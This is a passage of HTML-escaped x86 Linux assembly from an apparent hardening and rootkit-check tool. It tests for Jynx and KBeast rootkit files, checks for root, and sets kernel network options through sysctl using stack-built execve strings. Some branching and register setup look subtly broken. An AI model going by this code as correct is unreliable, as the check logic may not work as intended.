/&gt;&lt;br /&gt;call the_cek&lt;br /&gt;&lt;br /&gt;mov ebx,jynx_ld_preload_so_path&lt;br /&gt;&lt;br /&gt;int 0x80&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mov dword [file],eax&lt;br /&gt;&lt;br /&gt;cmp dword [file],0&lt;br /&gt;&lt;br /&gt;jle dont_continue&lt;br /&gt;&lt;br /&gt;je continue&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;continue:&lt;br /&gt;&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ecx,teks_continue&lt;br /&gt;&lt;br /&gt;mov edx,pjg_teks_continue&lt;br /&gt;&lt;br /&gt;call _herosvh_writeln&lt;br /&gt;&lt;br /&gt;jmp long _herosvh_out&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dont_continue:&lt;br /&gt;&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mov ecx,teks_dont_continue&lt;br /&gt;&lt;br /&gt;mov edx,pjg_teks_dont_continue&lt;br /&gt;&lt;br /&gt;call _herosvh_writeln&lt;br /&gt;&lt;br /&gt;jmp long _herosvh_out&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the_cek:&lt;br /&gt;&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;mov eax,5 &lt;br /&gt;&lt;br /&gt;xor ecx,0&lt;br /&gt;&lt;br /&gt;mov edx,0x100&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;eof jynx rootkit checking&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;start ipsecs kbeast checking&lt;br /&gt;&lt;br /&gt;_herosvh_ipsecs:&lt;br /&gt;&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&lt;br /&gt;&lt;br /&gt;call the_cek2&lt;br /&gt;&lt;br /&gt;mov ebx,_H4X_PATH_&lt;br /&gt;&lt;br /&gt;int 0x80&lt;br /&gt;&lt;br /&gt;mov dword [file],eax&lt;br /&gt;&lt;br /&gt;cmp dword [file],0&lt;br /&gt;&lt;br /&gt;jle dont_continuex&lt;br /&gt;&lt;br /&gt;je continuex&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;continuex:&lt;br /&gt;&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;mov ecx,teks_continuex&lt;br /&gt;&lt;br /&gt;mov edx,pjg_teks_continuex&lt;br /&gt;&lt;br /&gt;call _herosvh_writeln&lt;br /&gt;&lt;br /&gt;jmp long _herosvh_out&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;dont_continuex:&lt;br /&gt;&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;mov ecx,teks_dont_continuex&lt;br /&gt;&lt;br /&gt;mov edx,pjg_teks_dont_continuex&lt;br /&gt;&lt;br /&gt;call _herosvh_writeln&lt;br /&gt;&lt;br /&gt;jmp long _herosvh_out&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the_cek2:&lt;br /&gt;&lt;br /&gt;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;mov eax,5 &lt;br /&gt;&lt;br /&gt;xor ecx,0&lt;br /&gt;&lt;br /&gt;mov edx,0x100&lt;br /&gt;&lt;br /&gt;mov esp,ebp &lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;eof ipsecs kbeast checking&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;getpriv.s&lt;br /&gt;&lt;br /&gt;_herosvh_pr3p4r3_0pt:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push esi &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; push edi &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;_herosvh_get_privilege:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov eax, 18h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push eax&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int 80h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;cmp al,0&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jz _herosvh_g0tr00t&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _herosvh_n0tr00t&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp, ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;;eof getpriv.s&lt;br /&gt;&lt;br /&gt;_herosvh_g0tr00t:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,g0tr00t&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_g0tr00t&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call _herosvh_writeln&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp, ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pop ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _herosvh_jmpmania&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;_herosvh_n0tr00t:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ebp,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov ecx,n0tr00t&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov edx,pjg_n0tr00t&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;call _herosvh_writeln&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp _herosvh_out&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_writeln:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; push ebp&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov ebp,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov ebx,0x1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov eax,0x4&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; int 80h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;mov ah,09h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;mov dx,offset str1ng&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;;int 21h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; mov esp,ebp &lt;br /&gt;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; pop ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_banner:&lt;br /&gt;&lt;br /&gt;push ebp&lt;br /&gt;&lt;br /&gt;mov ebp,esp&lt;br /&gt;&lt;br /&gt;mov ecx,t00lname&lt;br /&gt;&lt;br /&gt;mov edx,pjg_t00lname&lt;br /&gt;&lt;br /&gt;call _herosvh_writeln&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mov ecx,c0d3r&lt;br /&gt;&lt;br /&gt;mov edx,pjg_c0d3r&lt;br /&gt;&lt;br /&gt;call _herosvh_writeln&lt;br /&gt;&lt;br /&gt;mov esp,ebp&lt;br /&gt;&lt;br /&gt;pop ebp&lt;br /&gt;&lt;br /&gt;ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_do:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov eax, 11&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int 80h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;ret&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_net.ipv4.icmp_echo_ignore_broadcasts_1:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0xb&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp; eax&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x313d&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;=1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x73747361&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;stsa&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6364616f&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;cdao&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x72625f65&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;rb_e&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x726f6e67&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;rong&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x695f6f68&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;i_oh&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x63655f70&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;ce_p&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6d63692e&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;mci.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x34767069&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;4vpi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2e74656e &amp;nbsp;&amp;nbsp; &amp;nbsp;; .ten&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esi,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0x772d ;w-&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6c746373&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x79732f6e &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6962732f&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,esp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; esi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ecx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ebx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp long _herosvh_out&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_net.ipv4.tcp_syncookies_1:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0xb&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp; eax&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2031&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x3d736569&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;=sei&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6b6f6f63&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;kooc&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6e79735f&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;nys_&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x7063742e&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;pct.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x34767069&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;4vpi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2e74656e &amp;nbsp;&amp;nbsp; &amp;nbsp;; .ten&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; esi,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0x772d ;w-&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6c746373&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x79732f6e &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp; 0x6962732f&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ebx,esp&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; esi&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ecx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; ebx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; ecx,esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; 80h&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov esp,ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;jmp long _herosvh_out&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_herosvh_sysctl_w_net.ipv4.conf.all.rp_filter_1:&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push ebp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; mov ebp, esp&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor eax,eax &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ebx,ebx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor ecx,ecx &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor edx,edx&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; 0xb&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp; eax&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; edx&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x2031&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x3d726574&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;=ret&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6c69665f&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;lif_&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x70722e6c&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;pr.l&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6c612e66&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;la.f&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;push 0x6e6f632e&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;;noc.&lt;br 